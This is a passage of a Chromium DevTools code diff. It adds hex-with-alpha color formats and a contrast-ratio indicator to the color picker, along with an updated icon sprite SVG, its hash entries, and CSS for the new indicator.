Binary files differ
diff --git a/third_party/WebKit/Source/devtools/front_end/Images/src/optimize_png.hashes b/third_party/WebKit/Source/devtools/front_end/Images/src/optimize_png.hashes
index a87ab0c1..c91f6e8 100644
--- a/third_party/WebKit/Source/devtools/front_end/Images/src/optimize_png.hashes
+++ b/third_party/WebKit/Source/devtools/front_end/Images/src/optimize_png.hashes
@@ -4,7 +4,7 @@
     "breakpointConditional.svg": "4cf90210b2af2ed84db2f60b07bcde28",
     "checkboxCheckmark.svg": "f039bf85cee42ad5c30ca3bfdce7912a",
     "errorWave.svg": "e183fa242a22ed4784a92f6becbc2c45",
-    "smallIcons.svg": "a612780441b0cc423900f6343ee572ab",
+    "smallIcons.svg": "a0d37d8680ac0f0fbfa6ab053de90b04",
     "mediumIcons.svg": "e63ac6385b0a6efb783d9838517e5e44",
     "breakpoint.svg": "69cd92d807259c022791112809b97799",
     "treeoutlineTriangles.svg": "017d2f89437df0afc6b9cd5ff43735d9",
diff --git a/third_party/WebKit/Source/devtools/front_end/Images/src/smallIcons.svg b/third_party/WebKit/Source/devtools/front_end/Images/src/smallIcons.svg
index 0b61ec60..dabd05a 100644
--- a/third_party/WebKit/Source/devtools/front_end/Images/src/smallIcons.svg
+++ b/third_party/WebKit/Source/devtools/front_end/Images/src/smallIcons.svg
@@ -9,7 +9,7 @@
    xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
    xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
    width="90"
-   height="90"
+   height="110"
    id="svg4185"
    version="1.1"
    inkscape:version="0.48.4 r9939"
@@ -43,8 +43,8 @@
      inkscape:zoom="3.7083823"
      inkscape:cx="22.472364"
      inkscape:cy="66.155904"
-     inkscape:window-x="940"
-     inkscape:window-y="26"
+     inkscape:window-x="1280"
+     inkscape:window-y="0"
      inkscape:window-maximized="0"
      inkscape:current-layer="svg4185">
     <inkscape:grid
@@ -58,7 +58,8 @@
        spacingy="10px" />
   </sodipodi:namedview>
   <g
-     id="g4187">
+     id="g4187"
+     transform="translate(0,20)">
     <path
        transform="translate(-80,-20)"
        d="m 80,20.995 c 0,-0.54974 0.45566,-0.9954 0.9954,-0.9954 h 8.0092 c 0.54974,0 0.9954,0.45566 0.9954,0.9954 v 8.0092 c 0,0.54974 -0.45566,0.9954 -0.9954,0.9954 H 80.9954 C 80.44566,29.9996 80,29.54394 80,29.0042 z m 5.1233,4.7444 c 2.5673,-0.42788 3.6267,-1.193 3.6267,-3.7398 h -1.5 c 0,1.6199 -0.44058,1.9381 -2.3733,2.2602 -2.5673,0.42788 -3.6267,1.193 -3.6267,3.7398 h 1.5 c 0,-1.6199 0.44058,-1.9381 2.3733,-2.2602 z"
@@ -66,7 +67,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(20,0)"
+     transform="translate(20,20)"
      id="g4193">
     <path
        transform="translate(-128,-109)"
@@ -75,7 +76,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(0,20)"
+     transform="translate(0,40)"
      id="g4199">
     <path
        transform="translate(-40,-19)"
@@ -91,7 +92,7 @@
        style="fill:none;stroke:#bababa;stroke-width:1.5" />
   </g>
   <g
-     transform="translate(20,20)"
+     transform="translate(20,40)"
      id="g4207">
     <path
        transform="translate(-177,-98)"
@@ -107,7 +108,7 @@
        style="fill:#676767" />
   </g>
   <g
-     transform="translate(40,0)"
+     transform="translate(40,20)"
      id="g4215">
     <path
        transform="translate(-100,0)"
@@ -116,7 +117,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(40,20)"
+     transform="translate(40,40)"
      id="g4221">
     <path
        transform="translate(-20,0)"
@@ -167,10 +168,10 @@
      style="fill:#adf2ad;stroke:#007200;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none"
      inkscape:connector-curvature="0"
      id="path4245"
-     d="M 4.4998214,41.3 8.5,45.00025 4.4998214,48.7 l 0,-1.2 -3.0748614,0 0.07504,-5 3.0001787,0 z"
+     d="M 4.4998214,61.3 8.5,65.00025 4.4998214,68.7 l 0,-1.2 -3.0748614,0 0.07504,-5 3.0001787,0 z"
      sodipodi:nodetypes="cccccccc" />
   <g
-     transform="translate(20,40)"
+     transform="translate(20,60)"
      id="g4247">
     <path
        transform="translate(-140,0)"
@@ -264,7 +265,7 @@
     </defs>
   </g>
   <g
-     transform="translate(40,40)"
+     transform="translate(40,60)"
      id="g4279">
     <path
        transform="translate(-80,0)"
@@ -309,7 +310,7 @@
     </defs>
   </g>
   <g
-     transform="translate(60,0)"
+     transform="translate(60,20)"
      id="g4297">
     <path
        transform="translate(-160,-20)"
@@ -319,7 +320,7 @@
        style="fill:#698cfe;stroke:#4073f4;stroke-width:0.90799999" />
   </g>
   <g
-     transform="translate(60,20)"
+     transform="translate(60,40)"
      id="g4303">
     <path
        transform="translate(-140,-20)"
@@ -329,7 +330,7 @@
        style="fill:#ef9d0d;stroke:#a36c01;stroke-width:0.90799999" />
   </g>
   <g
-     transform="translate(60,40)"
+     transform="translate(60,60)"
      id="g4309">
     <path
        transform="translate(-160,0)"
@@ -403,7 +404,7 @@
     </defs>
   </g>
   <g
-     transform="translate(0,60)"
+     transform="translate(0,80)"
      id="g4335">
     <path
        transform="translate(-120,0)"
@@ -498,7 +499,7 @@
     </defs>
   </g>
   <g
-     transform="translate(20,60)"
+     transform="translate(20,80)"
      id="g4367">
     <path
        transform="translate(-60,-20)"
@@ -520,7 +521,7 @@
   <g
      id="g4383"
      style="fill:#acf2ae;stroke:#007200;stroke-width:2.5769999"
-     transform="translate(40,60)">
+     transform="translate(40,80)">
     <path
        transform="matrix(0.29356,0,0,0.2909,-37.35,6.864)"
        d="m 144.95,9.9997 c -2.7598,-0.03 -4.9797,-2.2899 -4.9497,-5.0497 0.03,-2.7598 2.2899,-4.9797 5.0497,-4.9497 2.7598,0.03 4.9797,2.2899 4.9497,5.0497 -0.03,2.7598 -2.2899,4.9797 -5.0497,4.9497 z"
@@ -533,24 +534,24 @@
        inkscape:connector-curvature="0" />
   </g>
   <path
-     d="M 48.3126,62.499864 45.21075,66 42.1089,62.499864 l 1.24074,0 0,-1.919464 3.72222,0 0,1.919735 z"
+     d="M 48.3126,82.499864 45.21075,86 42.1089,82.499864 l 1.24074,0 0,-1.919464 3.72222,0 0,1.919735 z"
      id="path4389"
      inkscape:connector-curvature="0"
      style="fill:#adf2ad;stroke:#007200;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none"
      sodipodi:nodetypes="cccccccc" />
   <path
-     d="m 66.5375,68.5145 c -0.0088,0.72431 -0.6047,1.3032 -1.3356,1.2945 -0.73092,-0.0087 -1.3151,-0.59922 -1.3063,-1.3236 0.0088,-0.7243 0.6047,-1.3032 1.3356,-1.2945 0.73092,0.0087 1.3151,0.59922 1.3063,1.3235 z"
+     d="m 66.5375,88.5145 c -0.0088,0.72431 -0.6047,1.3032 -1.3356,1.2945 -0.73092,-0.0087 -1.3151,-0.59922 -1.3063,-1.3236 0.0088,-0.7243 0.6047,-1.3032 1.3356,-1.2945 0.73092,0.0087 1.3151,0.59922 1.3063,1.3235 z"
      id="path4397"
      inkscape:connector-curvature="0"
      style="fill:#acf2ae;stroke:#007200;stroke-width:0.75300002" />
   <path
-     d="m 62.1084,63.500135 3.10185,-2.981685 3.10185,2.981685 -1.24074,0 0,1.999865 -3.72222,0 0,-2.000136 z"
+     d="m 62.1084,83.500135 3.10185,-2.981685 3.10185,2.981685 -1.24074,0 0,1.999865 -3.72222,0 0,-2.000136 z"
      id="path4399"
      inkscape:connector-curvature="0"
      style="fill:#adf2ad;stroke:#007200;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none"
      sodipodi:nodetypes="cccccccc" />
   <g
-     transform="translate(80,0)"
+     transform="translate(80,20)"
      id="g4401">
     <path
        transform="translate(-20,-20)"
@@ -560,7 +561,7 @@
        style="fill:none;stroke:#367cf1;stroke-width:1.5" />
   </g>
   <g
-     transform="translate(80,20)"
+     transform="translate(80,40)"
      id="g4407">
     <path
        transform="translate(-180,-20)"
@@ -570,7 +571,7 @@
        style="fill:#4688f1" />
   </g>
   <g
-     transform="translate(80,40)"
+     transform="translate(80,60)"
      id="g4413">
     <path
        transform="matrix(-1,0,0,1,190,-19.955)"
@@ -581,7 +582,7 @@
        sodipodi:nodetypes="cccccccc" />
   </g>
   <g
-     transform="translate(80,60)"
+     transform="translate(80,80)"
      id="g4419">
     <path
        transform="translate(-20,-98)"
@@ -590,7 +591,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(0,80)"
+     transform="translate(0,100)"
      id="g4425">
     <path
        transform="translate(-4,-98)"
@@ -599,7 +600,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(20,80)"
+     transform="translate(20,100)"
      id="g4431">
     <path
        transform="translate(-4,-111)"
@@ -608,7 +609,7 @@
        inkscape:connector-curvature="0" />
   </g>
   <g
-     transform="translate(40,80)"
+     transform="translate(40,100)"
      id="g4437">
     <path
        transform="translate(0,-19)"
@@ -618,7 +619,7 @@
        style="fill:none;stroke:#939393;stroke-width:1.5" />
   </g>
   <g
-     transform="translate(60,80)"
+     transform="translate(60,100)"
      id="g4443">
     <path
        transform="translate(-60,0)"
@@ -649,114 +650,114 @@
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="3.0508475"
-     y="98.386719"
+     y="118.38672"
      id="text5191"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193"
        x="3.0508475"
-       y="98.386719">a</tspan></text>
+       y="118.38672">a</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="23.050848"
-     y="98.386719"
+     y="118.38672"
      id="text5191-1"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-7"
        x="23.050848"
-       y="98.386719">b</tspan></text>
+       y="118.38672">b</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="43.050846"
-     y="98.386719"
+     y="118.38672"
      id="text5191-7"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-1"
        x="43.050846"
-       y="98.386719">c</tspan></text>
+       y="118.38672">c</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="63.050854"
-     y="98.386719"
+     y="118.38672"
      id="text5191-15"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-9"
        x="63.050854"
-       y="98.386719">d</tspan></text>
+       y="118.38672">d</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="83.05085"
-     y="98.386719"
+     y="118.38672"
      id="text5191-77"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-6"
        x="83.05085"
-       y="98.386719">e</tspan></text>
+       y="118.38672">e</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="-7.0260201"
-     y="87.817795"
+     y="107.81779"
      id="text5191-73"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-65"
        x="-7.0260201"
-       y="87.817795">1</tspan></text>
+       y="107.81779">1</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="-6.8189888"
-     y="67.880318"
+     y="87.880318"
      id="text5191-6"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-3"
        x="-6.8189888"
-       y="67.880318">2</tspan></text>
+       y="87.880318">2</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="-6.7564888"
-     y="47.991673"
+     y="67.991669"
      id="text5191-9"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-4"
        x="-6.7564888"
-       y="47.991673">3</tspan></text>
+       y="67.991669">3</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="-6.9166451"
-     y="27.993652"
+     y="47.993652"
      id="text5191-8"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-12"
        x="-6.9166451"
-       y="27.993652">4</tspan></text>
+       y="47.993652">4</tspan></text>
   <text
      xml:space="preserve"
      style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
      x="-7.1080513"
-     y="8.0561762"
+     y="28.056175"
      id="text5191-93"
      sodipodi:linespacing="125%"><tspan
        sodipodi:role="line"
        id="tspan5193-90"
        x="-7.1080513"
-       y="8.0561762">5</tspan></text>
+       y="28.056175">5</tspan></text>
   <g
-     transform="matrix(1.1320755,0,0,1.1320754,81.603774,82.603774)"
+     transform="matrix(1.1320755,0,0,1.1320754,81.603774,102.60377)"
      style="fill:#00bcd4;stroke:#000000;stroke-width:0.30000001"
      id="g3669">
     <circle
@@ -770,4 +771,20 @@
        r="2.5"
        id="circle3671" />
   </g>
+  <path
+     inkscape:connector-curvature="0"
+     style="fill:#000000;fill-opacity:1;stroke-width:0;stroke-miterlimit:4"
+     d="m 5,-3e-7 c -2.761423,0 -5,2.238577 -5,5 C 0,7.7614237 2.238577,10 5,10 7.761423,10 9.9999997,7.7614237 9.9999997,4.9999997 c 0,-2.761423 -2.2385767,-5 -4.9999997,-5 z m 0.04808,0.721154 c 1.082746,1e-6 2.1787,0.399853 3.004808,1.225961 1.6522148,1.652217 1.6522148,4.333359 0,5.985577 L 5.04808,4.9519227 2.067311,1.9471147 C 2.893418,1.1210057 3.965334,0.7211527 5.04808,0.7211537 z"
+     id="path3255" />
+  <text
+     xml:space="preserve"
+     style="font-size:8px;font-style:normal;font-weight:normal;line-height:125%;letter-spacing:0px;word-spacing:0px;fill:#cccccc;fill-opacity:1;stroke:none;font-family:Sans"
+     x="-6.6795936"
+     y="8"
+     id="text5191-93-3"
+     sodipodi:linespacing="125%"><tspan
+       sodipodi:role="line"
+       id="tspan5193-90-6"
+       x="-6.6795936"
+       y="8">6</tspan></text>
 </svg>
diff --git a/third_party/WebKit/Source/devtools/front_end/Images/src/svg2png.hashes b/third_party/WebKit/Source/devtools/front_end/Images/src/svg2png.hashes
index a87ab0c1..c91f6e8 100644
--- a/third_party/WebKit/Source/devtools/front_end/Images/src/svg2png.hashes
+++ b/third_party/WebKit/Source/devtools/front_end/Images/src/svg2png.hashes
@@ -4,7 +4,7 @@
     "breakpointConditional.svg": "4cf90210b2af2ed84db2f60b07bcde28",
     "checkboxCheckmark.svg": "f039bf85cee42ad5c30ca3bfdce7912a",
     "errorWave.svg": "e183fa242a22ed4784a92f6becbc2c45",
-    "smallIcons.svg": "a612780441b0cc423900f6343ee572ab",
+    "smallIcons.svg": "a0d37d8680ac0f0fbfa6ab053de90b04",
     "mediumIcons.svg": "e63ac6385b0a6efb783d9838517e5e44",
     "breakpoint.svg": "69cd92d807259c022791112809b97799",
     "treeoutlineTriangles.svg": "017d2f89437df0afc6b9cd5ff43735d9",
diff --git a/third_party/WebKit/Source/devtools/front_end/color_picker/Spectrum.js b/third_party/WebKit/Source/devtools/front_end/color_picker/Spectrum.js
index 0869c213..8bc5ae7 100644
--- a/third_party/WebKit/Source/devtools/front_end/color_picker/Spectrum.js
+++ b/third_party/WebKit/Source/devtools/front_end/color_picker/Spectrum.js
@@ -52,8 +52,9 @@
     this._colorDragElement = this._colorElement.createChild('div', 'spectrum-sat fill')
                                  .createChild('div', 'spectrum-val fill')
                                  .createChild('div', 'spectrum-dragger');
-    var contrastRatioSVG = this._colorElement.createSVGChild('svg', 'spectrum-contrast-container fill');
-    this._contrastRatioLine = contrastRatioSVG.createSVGChild('path', 'spectrum-contrast-line');
+
+    if (Runtime.experiments.isEnabled('colorContrastRatio'))
+      this._setUpContrastRatioUI();
 
     var toolbar = new UI.Toolbar('spectrum-eye-dropper', this.contentElement);
     this._colorPickerButton = new UI.ToolbarToggle(Common.UIString('Toggle color picker'), 'largeicon-eyedropper');
@@ -100,7 +101,7 @@
     this._hexContainer = this.contentElement.createChild('div', 'spectrum-text spectrum-text-hex source-code');
     this._hexValue = UI.createInput('spectrum-text-value');
     this._hexContainer.appendChild(this._hexValue);
-    this._hexValue.maxLength = 7;
+    this._hexValue.maxLength = 9;
     this._hexValue.addEventListener('keydown', this._inputChanged.bind(this), false);
     this._hexValue.addEventListener('input', this._inputChanged.bind(this), false);
     this._hexValue.addEventListener('mousewheel', this._inputChanged.bind(this), false);
@@ -178,12 +179,7 @@
       var newAlpha = Math.round((event.x - this._hueAlphaLeft) / this._hueAlphaWidth * 100) / 100;
       var hsva = this._hsv.slice();
       hsva[3] = Number.constrain(newAlpha, 0, 1);
-      var colorFormat = undefined;
-      if (hsva[3] !== 1 &&
-          (this._colorFormat === Common.Color.Format.ShortHEX || this._colorFormat === Common.Color.Format.HEX ||
-           this._colorFormat === Common.Color.Format.Nickname))
-        colorFormat = Common.Color.Format.RGB;
-      this._innerSetColor(hsva, '', colorFormat, ColorPicker.Spectrum._ChangeSource.Other);
+      this._innerSetColor(hsva, '', undefined, ColorPicker.Spectrum._ChangeSource.Other);
     }
 
     /**
@@ -194,8 +190,26 @@
       var hsva = this._hsv.slice();
       hsva[1] = Number.constrain((event.x - this._colorOffset.left) / this.dragWidth, 0, 1);
       hsva[2] = Number.constrain(1 - (event.y - this._colorOffset.top) / this.dragHeight, 0, 1);
+
+      if (Runtime.experiments.isEnabled('colorContrastRatio'))
+        positionContrastInfo(this._contrastInfo, event);
+
       this._innerSetColor(hsva, '', undefined, ColorPicker.Spectrum._ChangeSource.Other);
     }
+
+    /**
+     * @param {!Element} info
+     * @param {!Event} event
+     */
+    function positionContrastInfo(info, event) {
+      if (!info.boxInWindow().contains(event.x, event.y))
+        return;
+
+      if (info.offsetWidth > ((info.offsetParent.offsetWidth / 2) - 10))
+        info.classList.toggle('contrast-info-top');
+      else
+        info.classList.toggle('contrast-info-left');
+    }
   }
 
   _onCopyIconClick() {
@@ -588,11 +602,16 @@
     if (colorString !== undefined)
       this._colorString = colorString;
     if (colorFormat !== undefined) {
-      console.assert(colorFormat !== Common.Color.Format.Original, 'Spectrum\'s color format cannot be Original');
-      if (colorFormat === Common.Color.Format.RGBA)
-        colorFormat = Common.Color.Format.RGB;
-      else if (colorFormat === Common.Color.Format.HSLA)
-        colorFormat = Common.Color.Format.HSL;
+      var cf = Common.Color.Format;
+      console.assert(colorFormat !== cf.Original, 'Spectrum\'s color format cannot be Original');
+      if (colorFormat === cf.RGBA)
+        colorFormat = cf.RGB;
+      else if (colorFormat === cf.HSLA)
+        colorFormat = cf.HSL;
+      else if (colorFormat === cf.HEXA)
+        colorFormat = cf.HEX;
+      else if (colorFormat === cf.ShortHEXA)
+        colorFormat = cf.ShortHEX;
       this._colorFormat = colorFormat;
     }
 
@@ -632,15 +651,19 @@
     if (colorString)
       return colorString;
 
-    if (this._colorFormat === cf.Nickname || this._colorFormat === cf.ShortHEX) {
-      colorString = color.asString(cf.HEX);
-      if (colorString)
-        return colorString;
-    }
+    if (this._colorFormat === cf.Nickname)
+      colorString = color.asString(color.hasAlpha() ? cf.HEXA : cf.HEX);
+    else if (this._colorFormat === cf.ShortHEX)
+      colorString = color.asString(color.detectHEXFormat());
+    else if (this._colorFormat === cf.HEX)
+      colorString = color.asString(cf.HEXA);
+    else if (this._colorFormat === cf.HSL)
+      colorString = color.asString(cf.HSLA);
+    else
+      colorString = color.asString(cf.RGBA);
 
-    console.assert(color.hasAlpha());
-    return this._colorFormat === cf.HSL ? /** @type {string} */ (color.asString(cf.HSLA)) :
-                                          /** @type {string} */ (color.asString(cf.RGBA));
+    console.assert(colorString);
+    return colorString || '';
   }
 
   _updateHelperLocations() {
@@ -674,10 +697,11 @@
     if (this._colorFormat === cf.HEX || this._colorFormat === cf.ShortHEX || this._colorFormat === cf.Nickname) {
       this._hexContainer.hidden = false;
       this._displayContainer.hidden = true;
-      if (this._colorFormat === cf.ShortHEX && this._color().canBeShortHex())
-        this._hexValue.value = this._color().asString(cf.ShortHEX);
-      else
-        this._hexValue.value = this._color().asString(cf.HEX);
+      if (this._colorFormat === cf.ShortHEX) {
+        this._hexValue.value = this._color().asString(this._color().detectHEXFormat());
+      } else {  // Don't use ShortHEX if original was not in that format.
+        this._hexValue.value = this._color().asString(this._color().hasAlpha() ? cf.HEXA : cf.HEX);
+      }
     } else {
       // RGBA, HSLA display.
       this._hexContainer.hidden = true;
@@ -696,8 +720,10 @@
 
   /**
    * @param {number} requiredContrast
+   * @param {!Array<number>} bgRGBA
+   * @param {!Array<number>} fgRGBA
    */
-  _drawContrastRatioLine(requiredContrast) {
+  _drawContrastRatioLine(requiredContrast, bgRGBA, fgRGBA) {
     if (!this._contrastColor || !this.dragWidth || !this.dragHeight)
       return;
 
@@ -710,11 +736,10 @@
     /** const */ var V = 2;
     /** const */ var A = 3;
 
-    var fgRGBA = [];
-    Common.Color.hsva2rgba(this._hsv, fgRGBA);
-    var fgLuminance = Common.Color.luminance(fgRGBA);
-    var bgRGBA = this._contrastColor.rgba();
     var bgLuminance = Common.Color.luminance(bgRGBA);
+    var blendedRGBA = [];
+    Common.Color.blendColors(fgRGBA, bgRGBA, blendedRGBA);
+    var fgLuminance = Common.Color.luminance(blendedRGBA);
     var fgIsLighter = fgLuminance > bgLuminance;
     var desiredLuminance = Common.Color.desiredLuminance(bgLuminance, requiredContrast, fgIsLighter);
 
@@ -724,7 +749,6 @@
     var pathBuilder = [];
     var candidateRGBA = [];
     Common.Color.hsva2rgba(candidateHSVA, candidateRGBA);
-    var blendedRGBA = [];
     Common.Color.blendColors(candidateRGBA, bgRGBA, blendedRGBA);
 
     /**
@@ -780,13 +804,64 @@
     this._contrastRatioLine.setAttribute('d', pathBuilder.join(' '));
   }
 
+  _setUpContrastRatioUI() {
+    var contrastRatioSVG = this._colorElement.createSVGChild('svg', 'spectrum-contrast-container fill');
+    this._contrastRatioLine = contrastRatioSVG.createSVGChild('path', 'spectrum-contrast-line');
+    this._contrastInfo = this._colorElement.createChild('div', 'spectrum-contrast-info');
+    this._contrastInfo.classList.add('force-white-icons');
+    this._contrastInfo.createChild('span', 'low-contrast').textContent = Common.UIString('Low contrast');
+    this._contrastInfo.createChild('span', 'value');
+    this._contrastInfo.appendChild(UI.Icon.create('smallicon-contrast-ratio'));
+  }
+
+
+  /**
+   * @param {boolean} show
+   */
+  _setContrastInfoVisible(show) {
+    var info = this._contrastInfo;
+    if (!show) {
+      info.classList.add('hidden');
+      return;
+    }
+
+    info.classList.remove('hidden');
+
+    var fgRGBA = [];
+    Common.Color.hsva2rgba(this._hsv, fgRGBA);
+    var bgRGBA = this._contrastColor.rgba();
+    var contrastRatio = Common.Color.calculateContrastRatio(fgRGBA, bgRGBA);
+
+    // TODO(aboxhall): Determine size of text and switch between AA/AAA ratings.
+    var requiredContrast = 4.5;
+
+    this._contrastInfo.querySelector('.value').textContent = contrastRatio.toFixed(2);
+    this._contrastInfo.classList.toggle('contrast-fail', (contrastRatio < requiredContrast));
+    this._drawContrastRatioLine(requiredContrast, bgRGBA, fgRGBA);
+
+    var draggerBox = this._colorDragElement.boxInWindow();
+    var dragX = draggerBox.x + (draggerBox.width / 2);
+    var dragY = draggerBox.y + (draggerBox.height / 2);
+    var infoBox = info.boxInWindow();
+    if (infoBox.contains(dragX, dragY)) {
+      if (info.offsetWidth > ((info.offsetParent.offsetWidth / 2) - 10))
+        info.classList.toggle('contrast-info-top');
+      else
+        info.classList.toggle('contrast-info-left');
+    }
+  }
+
+
   _updateUI() {
     var h = Common.Color.fromHSVA([this._hsv[0], 1, 1, 1]);
     this._colorElement.style.backgroundColor = /** @type {string} */ (h.asString(Common.Color.Format.RGB));
     if (Runtime.experiments.isEnabled('colorContrastRatio')) {
-      // TODO(samli): Determine size of text and switch between AA/AAA ratings.
-      this._drawContrastRatioLine(4.5);
+      if (this.dragWidth && this._contrastColor)
+        this._setContrastInfoVisible(true);
+      else
+        this._setContrastInfoVisible(false);
     }
+
     this._swatchInnerElement.style.backgroundColor =
         /** @type {string} */ (this._color().asString(Common.Color.Format.RGBA));
     // Show border if the swatch is white.
@@ -803,8 +878,8 @@
     var format = cf.RGB;
     if (this._colorFormat === cf.RGB)
       format = cf.HSL;
-    else if (this._colorFormat === cf.HSL && !this._color().hasAlpha())
-      format = this._originalFormat === cf.ShortHEX ? cf.ShortHEX : cf.HEX;
+    else if (this._colorFormat === cf.HSL)
+      format = (this._originalFormat === cf.ShortHEX || this._originalFormat === cf.ShortHEXA) ? cf.ShortHEX : cf.HEX;
     this._innerSetColor(undefined, '', format, ColorPicker.Spectrum._ChangeSource.Other);
   }
 
@@ -831,7 +906,7 @@
 
     const cf = Common.Color.Format;
     var colorString;
-    if (this._colorFormat === cf.HEX || this._colorFormat === cf.ShortHEX) {
+    if (this._colorFormat === cf.Nickname || this._colorFormat === cf.HEX || this._colorFormat === cf.ShortHEX) {
       colorString = this._hexValue.value;
     } else {
       var format = this._colorFormat === cf.RGB ? 'rgba' : 'hsla';
@@ -842,10 +917,11 @@
     var color = Common.Color.parse(colorString);
     if (!color)
       return;
-    var hsv = color.hsva();
+
+    var colorFormat = undefined;
     if (this._colorFormat === cf.HEX || this._colorFormat === cf.ShortHEX)
-      this._colorFormat = color.canBeShortHex() ? cf.ShortHEX : cf.HEX;
-    this._innerSetColor(hsv, colorString, undefined, ColorPicker.Spectrum._ChangeSource.Input);
+      colorFormat = color.detectHEXFormat();
+    this._innerSetColor(color.hsva(), colorString, colorFormat, ColorPicker.Spectrum._ChangeSource.Input);
   }
 
   /**
diff --git a/third_party/WebKit/Source/devtools/front_end/color_picker/spectrum.css b/third_party/WebKit/Source/devtools/front_end/color_picker/spectrum.css
index 12836a7..405c437 100644
--- a/third_party/WebKit/Source/devtools/front_end/color_picker/spectrum.css
+++ b/third_party/WebKit/Source/devtools/front_end/color_picker/spectrum.css
@@ -90,6 +90,47 @@
     box-shadow: 0 1px 4px 0 rgba(0, 0, 0, 0.37);
 }
 
+.spectrum-contrast-info {
+    position: absolute;
+    right: 10px;
+    left: auto;
+    bottom: 10px;
+    color: white;
+    border-radius: 2px;
+    padding: 3px 3px 2px;
+    background-color: rgba(255, 255, 255, 0.2);
+    align-items: center;
+    transition: right .05s ease-out, left .05s ease-out, bottom .05s ease-out, top .05s ease-out;
+}
+
+.spectrum-contrast-info .low-contrast {
+    display: none;
+    margin-right: 3px;
+}
+
+.spectrum-contrast-info.contrast-fail .low-contrast {
+    display: initial;
+}
+
+.spectrum-contrast-info.contrast-info-left {
+    left: 10px;
+    right: auto;
+}
+
+.spectrum-contrast-info.contrast-info-top {
+    top: 10px;
+    bottom: auto;
+    background-color: rgba(0, 0, 0, 0.2);
+}
+
+.spectrum-contrast-info.contrast-fail {
+    background-color: #b40202;
+}
+
+.spectrum-contrast-info .value {
+    margin-right: 4px;
+}
+
 .swatch {
     width: 32px;
     height: 32px;
diff --git a/third_party/WebKit/Source/devtools/front_end/common/Color.js b/third_party/WebKit/Source/devtools/front_end/common/Color.js
index a5330eb..8c17f355 100644
--- a/third_party/WebKit/Source/devtools/front_end/common/Color.js
+++ b/third_party/WebKit/Source/devtools/front_end/common/Color.js
@@ -64,7 +64,7 @@
     // Simple - #hex, rgb(), nickname, hsl()
     var value = text.toLowerCase().replace(/\s+/g, '');
     var simple =
-        /^(?:#([0-9a-f]{3}|[0-9a-f]{6})|rgb\(((?:-?\d+%?,){2}-?\d+%?)\)|(\w+)|hsl\((-?\d+\.?\d*(?:,-?\d+\.?\d*%){2})\))$/i;
+        /^(?:#([0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})|rgb\(((?:-?\d+%?,){2}-?\d+%?)\)|(\w+)|hsl\((-?\d+\.?\d*(?:,-?\d+\.?\d*%){2})\))$/i;
     var match = value.match(simple);
     if (match) {
       if (match[1]) {  // hex
@@ -73,13 +73,22 @@
         if (hex.length === 3) {
           format = Common.Color.Format.ShortHEX;
           hex = hex.charAt(0) + hex.charAt(0) + hex.charAt(1) + hex.charAt(1) + hex.charAt(2) + hex.charAt(2);
-        } else {
+        } else if (hex.length === 4) {
+          format = Common.Color.Format.ShortHEXA;
+          hex = hex.charAt(0) + hex.charAt(0) + hex.charAt(1) + hex.charAt(1) + hex.charAt(2) + hex.charAt(2) +
+              hex.charAt(3) + hex.charAt(3);
+        } else if (hex.length === 6) {
           format = Common.Color.Format.HEX;
+        } else {
+          format = Common.Color.Format.HEXA;
         }
         var r = parseInt(hex.substring(0, 2), 16);
